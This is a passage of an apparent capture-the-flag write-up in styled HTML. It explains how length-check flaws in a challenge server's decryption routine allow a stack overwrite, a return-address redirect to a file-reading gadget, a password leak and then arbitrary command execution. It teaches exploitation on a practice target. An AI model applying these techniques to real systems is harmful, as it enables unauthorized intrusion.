border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">(data->length / BLOCK_SIZE)</code><span class="Apple-converted-space"> </span>the intermediate result will be rounded down</b>. In particular, the following value will pass the length check:</div>
<pre style="background-color: #f8f8f8; border-bottom-color: rgb(204, 204, 204); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(204, 204, 204); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 13px; line-height: 19px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 15px; overflow-x: auto; overflow-y: auto; padding-bottom: 6px; padding-left: 10px; padding-right: 10px; padding-top: 6px;"><code style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: none; border-color: initial; border-color: initial; border-color: initial; border-left-style: none; border-right-style: none; border-style: initial; border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: none; border-width: initial; border-width: initial; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: pre;">data->length = BLOCK_SIZE * MAX_BLOCKS + (BLOCK_SIZE - 1) = 135
</code></pre>
<div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 15px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
And due to the first length check vulnerability, we know that<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">data->length</code><span class="Apple-converted-space"> </span>can indeed contain such values. The consequence of both vulnerabilities means that we can force the block-decryption loop to <b style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">decrypt an extra block of 8-bytes</b>. Since the local buffer is too small for this, we are capable of modifying local variables placed after the buffer. In particular we can overwrite<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">loop</code><span class="Apple-converted-space"> </span>and<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">block_index</code>.</div>
<h3 style="-webkit-font-smoothing: antialiased; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 18px; font-weight: bold; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 20px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
Length checking vulnerabilities: Part Two?</h3>
<div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 10px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
Interestingly,<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">decipher(data, output)</code><span class="Apple-converted-space"> </span>is the only function that uses the<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">length</code><span class="Apple-converted-space"> </span>field in the header. All other functions are coded in such a way that knowing this length is not required. This causes another peculiar observation: when setting<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">length</code><span class="Apple-converted-space"> </span>to zero, no decryption takes place, and the packet is processed as-is. This observation is not required to solve the challenge though (but it does make it easier to construct packets).</div>
<h3 style="-webkit-font-smoothing: antialiased; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 18px; font-weight: bold; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 20px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
Authentication and Commands</h3>
<div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 10px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
The above two vulnerabilities<span class="Apple-converted-space"> </span><a href="https://gist.github.com/g05u/9e1ae04ad1252f709bb7" style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #4183c4; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none;" target="_blank">are sufficient</a><span class="Apple-converted-space"> </span>to exploit the challenge. However we had some problems doing this, and instead opted for another approach. Our approach relies on additional functionality of the challenge: letting it execute commands. We can execute three commands: (1) getting the current server time; (2) reading an arbitrary file; (3) executing a system command. The latter two commands required the packet to be authenticated.<br />
<br />
The client must provide a checksum equal to <code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">H(H(password||key) || H(data||password))</code><span class="Apple-converted-space"> </span>for the packet to be authenticated. Here<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">password</code><span class="Apple-converted-space"> </span>is a secret loaded at startup, and<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">key</code><span class="Apple-converted-space"> </span>and<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">data</code><span class="Apple-converted-space"> </span>are chosen by the client. The function<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">H()</code><span class="Apple-converted-space"> </span>seems to be a custom (and insecure?) hash function.</div>
<h3 style="-webkit-font-smoothing: antialiased; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 18px; font-weight: bold; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 20px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
Exploitation</h3>
<div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 10px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
We use both length-check vulnerabilities to read the secret<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">password</code>. Once we have this, we can execute arbitrary system commands on the server, and exploitation becomes trivial.</div>
<div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 15px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
In the<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">decipher(data, output)</code><span class="Apple-converted-space"> </span>function we overwrite the return address. This is done by first overwriting the local variable<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">loop</code>, such that the next xor-decrypt operation will point to the return address. We prevent other variables from being overwritten by XORing with zero. Recall that we can XOR 8 bytes in total, and in particular we XOR these bytes with the<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">key</code><span class="Apple-converted-space"> </span>in the header of the packet.</div>
<div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 15px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
Where will we point the return address to? First observe that, because of the last<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">mempcy</code><span class="Apple-converted-space"> </span>call, the<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">eax</code> register contains a pointer to the local buffer when returning from the function. Hence the content pointed to by<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">eax</code><span class="Apple-converted-space"> </span>is under our control. If we now exploit the binary for interesting gadgets, we spot the following:</div>
<pre style="background-color: #f8f8f8; border-bottom-color: rgb(204, 204, 204); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(204, 204, 204); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 13px; line-height: 19px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 15px; overflow-x: auto; overflow-y: auto; padding-bottom: 6px; padding-left: 10px; padding-right: 10px; padding-top: 6px;"><code style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: none; border-color: initial; border-color: initial; border-color: initial; border-left-style: none; border-right-style: none; border-style: initial; border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: none; border-width: initial; border-width: initial; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: pre;">.text:08049290 mov eax, [ebp+packet]
.text:08049293 add eax, 8
.text:08049296 sub esp, 8
.text:08049299 push eax ; filename
.text:0804929A push [ebp+fd] ; fd
.text:0804929D call read_file
</code></pre>
<div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 15px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
This is the code that calls<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">read_file(sockfd, name)</code>. When returning from<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">decipher</code><span class="Apple-converted-space"> </span>the<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">ebp</code><span class="Apple-converted-space"> </span>register is restored, hence it correctly points to the local variables. However, variable<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">packet</code><span class="Apple-converted-space"> </span>is not yet initialized by the program, hence we can't use it. Instead we redirect code to<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">push eax; push [ebp+fd]</code>. Since<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">eax</code> points to the beginning of the buffer this code will successfully be executed. Putting the string<code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">password.txt</code><span class="Apple-converted-space"> </span>in the start of the buffer will now make the service print out the password<span class="Apple-converted-space"> </span><b style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">pass123</b>. We can now send authenticated commands and execute arbitrary shell commands. The flag was in the file<code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: 